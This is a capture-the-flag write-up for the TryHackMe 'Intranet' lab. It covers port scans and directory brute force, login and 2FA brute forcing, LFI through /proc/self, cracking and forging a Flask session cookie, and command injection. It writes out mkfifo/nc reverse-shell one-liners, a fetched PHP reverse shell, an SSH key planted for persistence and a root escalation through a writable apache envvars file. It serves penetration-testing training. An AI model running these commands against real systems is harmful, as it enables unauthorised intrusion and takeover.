Intranet - TryHackMe
Description
The web application development company SecureSolaCoders has created their own intranet page. The developers are still very young and inexperienced, but they ensured their boss (Magnus) that the web application was secured appropriately. The developers said, “Don’t worry, Magnus. We have learnt from our previous mistakes. It won’t happen again”. However, Magnus was not convinced, as they had introduced many strange vulnerabilities in their customers’ applications earlier.
Magnus hired you as a third-party to conduct a penetration test of their web application. Can you successfully exploit the app and achieve root access?
Scanning
Port scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@ip-10-10-237-59:~# nmap 10.10.21.48
Starting Nmap 7.60 ( https://nmap.org ) at 2024-07-03 10:35 BST
Nmap scan report for ip-10-10-21-48.eu-west-1.compute.internal (10.10.21.48)
Host is up (0.0039s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
7/tcp open echo
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
80/tcp open http
8080/tcp open http-proxy
MAC Address: 02:32:DF:8D:73:7D (Unknown)
Aggressive port scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
root@ip-10-10-237-59:~# nmap 10.10.21.48 -p7,21,22,23,80,8080 -A
Starting Nmap 7.60 ( https://nmap.org ) at 2024-07-03 10:35 BST
Nmap scan report for ip-10-10-21-48.eu-west-1.compute.internal (10.10.21.48)
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
7/tcp open echo
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8080/tcp open http-proxy Werkzeug/2.2.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Wed, 03 Jul 2024 09:36:04 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Wed, 03 Jul 2024 09:36:04 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 199
| Location: /login
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Wed, 03 Jul 2024 09:36:04 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
Enumeration
port 80 enumeration
the website was underconstruction and there was not anything useful.
Directory bruteforce on port 80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@ip-10-10-237-59:~# gobuster dir -u http://10.10.21.48 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.21.48
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/07/03 11:02:36 Starting gobuster
===============================================================
/server-status (Status: 403)
===============================================================
2024/07/03 11:03:10 Finished
port 8080 enumeration
From robots.txt it was a comment saying try harder
. Nothing else.
Directory bruteforce on port 8080
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@ip-10-10-237-59:~# gobuster dir -u http://10.10.21.48:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.21.48:8080
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/07/03 11:02:57 Starting gobuster
===============================================================
/home (Status: 302)
/login (Status: 200)
/admin (Status: 302)
/external (Status: 302)
/sms (Status: 302)
/logout (Status: 302)
/application (Status: 403)
/internal (Status: 302)
/temporary (Status: 403)
===============================================================
2024/07/03 11:29:53 Finished
===============================================================
Flag 1
From the page source of /login
, I found an email and a senior developer name.
email: devops@securesolacoders.no
name: andres
I tried to login with the admin email, but I got Invalid Password
. So the admin account exists. Also, I got the same result when I tried to login with devops
and Andres.
When I tried to enter any email that was not found, I got Invalid username
So till now, we had three valid accounts
1
2
3
admin@securesolacoders.no
devops@securesolacoders.no
anders@securesolacoders.no
I performed bruteforce with rockyou
and some authetication bypass techniques, but I could not bypass the login page.
Hint: Think about the information you have gathered so far from the web application - usernames, company name, etc. You might want to generate a password list or make educated guesses.
So we need to generate a custom wordlist.
we can use crunch
to generate a wordlist based on rules we define. but i used john the ripper for this task
The words we can guess the password through them.
1
2
3
4
anders
devops
admin
securesolacoders
From /opt/john/john.conf
add the new rule
1
2
3
4
5
[List.Rules:Intranet]
Az"[0-9]"
Az"[0-9][0-9]"
Az"[0-9][0-9][0-9]"
Az"[0-9][0-9][0-9][0-9]"
You do not need to add special characters to your rules because when I tried to login with a password that contained special characters, I got a hacking attempt with illegal characters in the password
Generate the wordlist
1
root@ip-10-10-237-59:~/Desktop# john -wordlist:words.txt -rules:intranet -stdout > wordlist.txt
Bruteforce with hydra
1
2
3
4
5
6
7
8
9
10
11
root@ip-10-10-237-59:~/Desktop# hydra -I -L users.txt -P custom-wordlist.txt 10.10.21.48 -s 8080 http-post-form "/login:username=^USER^&password=^PASS^:Error"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2024-07-03 12:55:34
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 78472 login tries (l:1/p:78472), ~4905 tries per task
[DATA] attacking http-post-form://10.10.21.48:8080//login:username=^USER^&password=^PASS^:Error
[8080][http-post-form] host: 10.10.21.48 login: anders@securesolacoders.no password: se***************
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2024-07-03 12:55:37
Or you can save the request from burp and bruteforce with ffuf
Add W1
, W2
to username, password because we will use multiple wordlist.
1
root@ip-10-10-237-59:~/Desktop# ffuf -request req -request-proto http -w ./users.txt:W1,./custom-wordlist.txt:W2 -fw 296
Login with the credientials.
You will get Flag 1. Also, there was a two-factor authentication. So we need to bypass it.
Flag 2
The 2FA code was four characters and there was not rate limit. so we can easily bypass it by generating a file containing numbers from 0000 to 9999.
1
root@ip-10-10-237-59:~/Desktop# seq -f "%04g" 0 9999 > 2fa.txt
Use ffuf to get the correct 2FA code
Note: The 2FA code was dynamically generated. So each time, you will log in. You need to bruteforce the code to get the new one.
1
2
3
root@ip-10-10-237-59:~/Desktop# ffuf -request sms.txt -request-proto http -w ./2fa.txt -fw 168
OR
root@ip-10-10-237-59:~/Desktop# ffuf -request sms.txt -request-proto http -w ./2fa.txt -fc 200
Using the 2FA code, Login and get the second flag
Flag 3
The internal page with the Update
button, which update the news feed
The news
parameter is vulnerable to LFI
I tried some tichniques to get an RCE from LFI (ex. log poisioning). but the one that worked with me is through /proc/self/stat
the Linux /proc/ directory holds information about different processes. Each process is distinguished by its PID, The /proc directory contains one subdirectory for each process running on the system, which is named after the process ID (PID). Concurrently, each of these directories contains files to store information about the respective process.
inside of /proc/self is a series of files representing various pieces of information about the process. The files relevant to us are
- /proc/self/environ
- /proc/self/stat
- /proc/self/cmdline
- /proc/self/fd.
/proc/self/stat
This file contains the process ID (PID) of the current process, typically the web server. in our case it was apache server that was running a flask application.
/proc/self/environ
This entity is a file containing all environment variables within the context of the current process. In older versions of Apache, the user agent string of the browser accessing a page would be stored as an environment variable. The attacker sets his user agent string to a value containing executable code and then exploits a local file inclusion vulnerability to include /proc/self/environ. Apache then stores the user agent string containing code to an environment variable, which in turn is visible in /proc/self/environ, which is then included by the web server, executing the code.
contains environmental variables, and if we can access it as a non-root user (like www-data usually found on web servers), we can use it to get a shell.
we could say that /proc/self/environ is — roughly- equal to */proc/
From the LFI you can get the devops user flag
/proc/self/cmdline
This entity stores the command-line invocation of the current process.
/proc/self/cmdline is not exploitable to achieve code execution but can be useful in finding the location of server configuration files and other sensitive locations if they were passed to Apache through the command line.
The source code of the web application was in the home directory of devops user /home/devops/app.py
**Now we can retrive the app.py
via the LFI
and get the thrid flag in the source code. **
Flag 4
From the source code, we are able to see how the JWT
session key is generated. It’s a key containing the string secret_key_
concatenated with a random number between 100000
and 999999
. With this information, we are able to generate a wordlist and crack the secret key.
1
2
key = "secret_key_" + str(random.randrange(100000,999999))
app.secret_key = str(key).encode()
Genrate a file containg “secret_key_” followed by numbers from 100000 to 999999.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash
# Specify the output filename
OUTPUT_FILE="sequential_keys.txt"
# Starting number
START_NUMBER=100000
# Ending number
END_NUMBER=999999
# Loop through the sequence
for ((i=$START_NUMBER; i<=$END_NUMBER; i++)); do
# Echo the line with "secret_key_" and the current number
echo "secret_key_$i" >> "$OUTPUT_FILE"
done
# Print confirmation message
echo "Generated lines with secret_keys and sequential numbers from $START_NUMBER to $END_NUMBER in $OUTPUT_FILE"
Crack the secret key with flask-unsign
using the generated file and our jwt
1
2
3
4
5
6
root@ip-10-10-138-166:~/Desktop# flask-unsign --unsign --wordlis sequential_keys.txt --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYW5kZXJzIn0.ZoV9Gw.NbGDTdlVJWRSNlVpMYvMKYHsdzY
[*] Session decodes to: {'logged_in': True, 'username': 'anders'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 575488 attempts
'secret_key_675131'
Note: the secret key is dynamically generated. so it may be different with you.
From app.py, we need to send a POST request to /admin
with a valid admin jwt (logged_in=true and username=admin)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route("/admin", methods=["GET, POST"])
def admin():
if not session.get("logged_in"):
return redirect("/login")
else:
if session.get("username") == "admin":
if request.method == "POST":
os.system(request.form["debug"])
return render_template("admin.html")
current_ip = request.remote_addr
current_time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
return render_template("admin.html", current_ip=current_ip, current_time=current_time)
else:
return abort(403)
Using flask-unsign
, I signed a new jwt with username=admin to access the admin dashboard
1
2
3
4
flask-unsign --decode --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYW5kZXJzIn0.ZoV9Gw.NbGDTdlVJWRSNlVpMYvMKYHsdzY
flask-unsign — sign — cookie "{'logged_in': True, 'username': 'admin'}" — secret 'secret_key_257502'
Update the jwt and get the forth flag from the admin dashboard
User 1 flag
with the os.system() call. This gets its parameters from a form. But we are not dependent on this form and are able to send a post request with a value for debug to create a reverse shell.
Start the netcat listner. and ssing curl
, providing the previously created admin jwt, and the reverseshell in the debug parameter we could have a shell
get the user 1 flag
1
2
3
4
root@ip-10-10-138-166:~# curl 'http://intranet.thm:8080/admin' -X POST -H 'Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.ZoWCUw.zvZqlIEOMuipYViwerq334HwfFY' --data-raw 'debug=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.138.166 4242 >/tmp/f'
root@ip-10-10-138-166:~# nc -nvlp 4242
User 2 flag
From ps aux
the user andres
was running apache service that was running on port 80
go to /var/www/html
and check the index.html. you will see that this was the underconstruction website.
Configure and upload the reverse shell
1
wget http://10.10.138.166:8000/php-reverse-shell.php
Start the listener and execute the shell
get the user2 flag
Add our ssh key to the authorized_keys file to access the machine via ssh as user anders.
Now we will go to to /.ssh and there will be file called “authorized_keys”. This key indicates which device is assigned to ssh server on the exact user. Put your public key into “authorized_keys” file:
1
2
3
4
5
6
7
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfVFH0vXDlMlc/6Vfsl2CP53m3JEIDa5ps5vkPmnfidTTqoTcT5n9hkBvPmqm+ztnV5cdZnhI3J746wBA+7yOwVnWwMM6SnaamrrpQsobJ/KGqeofRz3sUVUgBoYu9pRyMZBoHeOWJZ8GKwZAXhcXIioM/Dlr4reg8kvQd2htXrUCdzzPHmHaUy9sfNQSqzmyr4PjFsv3Mjv7T25+FOuandO5zVIecx4hlZmlGgvoB4uiB0Z5Nb4bW/uoiDlmU4L7usOlheBMfQffov7zEaloX84ttz0SaADECqYg4rP9xqQgRPqEic+d0zI78npqCYgdNaG2getN/q/bfpTG8E3BB root@ip-10-10-138-166" > authorized_keys
$
$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfVFH0vXDlMlc/6Vfsl2CP53m3JEIDa5ps5vkPmnfidTTqoTcT5n9hkBvPmqm+ztnV5cdZnhI3J746wBA+7yOwVnWwMM6SnaamrrpQsobJ/KGqeofRz3sUVUgBoYu9pRyMZBoHeOWJZ8GKwZAXhcXIioM/Dlr4reg8kvQd2htXrUCdzzPHmHaUy9sfNQSqzmyr4PjFsv3Mjv7T25+FOuandO5zVIecx4hlZmlGgvoB4uiB0Z5Nb4bW/uoiDlmU4L7usOlheBMfQffov7zEaloX84ttz0SaADECqYg4rP9xqQgRPqEic+d0zI78npqCYgdNaG2getN/q/bfpTG8E3BB root@ip-10-10-138-166
connect via ssh
1
root@ip-10-10-138-166:~/.ssh# ssh anders@10.10.127.138 -i id_rsa
root flag
**From sudo -l
, the user andres was able to restart the apache2 service without the root password with sudo permissions. **
Check the configurations files, you will see a file called envvars
that has write permissions for other, So we can edit the file to get a shell
add your reverse shell in the envvars file and Start the netcat listener and restart the apache2 service
1
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.138.166 1337 >/tmp/f
Get the root flag
References
- https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-proc-self-environ
- https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6
- https://github.com/Paradoxis/Flask-Unsign